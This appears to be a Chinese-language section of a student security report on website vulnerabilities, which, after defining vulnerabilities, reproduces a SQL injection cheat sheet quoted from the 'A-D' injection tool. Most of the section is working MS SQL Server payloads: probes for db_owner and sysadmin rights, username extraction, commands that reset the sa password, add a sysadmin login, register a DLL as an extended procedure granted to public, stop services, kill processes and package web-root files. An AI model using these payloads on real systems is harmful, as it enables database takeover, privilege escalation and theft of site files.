二.漏洞分析
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在Intel Pentium芯片中存在的逻辑错误、在Sendmail早期版本中的编程错误、在NFS协议中认证方式上的弱点、在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用。因而这些都可以认为是系统中存在的安全漏洞,威胁到系统的安全。
安全漏洞向来是网络安全领域首要关注的问题,发现系统的安全漏洞也是黑客进行入侵和攻击的重要步骤。据调查,约有80%的国内网站存在明显漏洞。漏洞的存在使网络上不法分子的非法入侵与袭扰破坏有可乘之机,给网络安全带来了巨大的潜在危险。具体来说,观看动画后感觉此系统的设置存在多处漏洞,漏洞分析如下。
1.代码编写漏洞
检查代码中的安全性缺陷,是网站创建过程中的一个关键要素,它与计划、设计和测试同等重要。SQL 注入的症结在于使用字符串连接来构建 SQL 语句,我们可以扫描代码实现。一般而言,检查的重点应放到搜索诸如“update”、“select”、“insert”、“exec”以及列举表名或数据库名之类的单词。“阿D”等注入工具的扫描机制有很多,这里引用阿D主页上的信息:
//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)+Cast(IS_MEMBER('db_owner') as varchar(1))+char(124)=1 ;--
//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)+Cast(HAS_DBACCESS('master') as varchar(1))+char(124)=1 --
数字类型
and char(124)+user+char(124)=0
字符类型
' and char(124)+user+char(124)=0 and ''='
搜索类型
' and char(124)+user+char(124)=0 and '%'='
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 --
……..(从略)
//爆出长度
And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某个服务。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
//更新表内容
Update films SET kind = 'Dramatic' Where id = 123
//删除内容
delete from table_name where Stockid = 3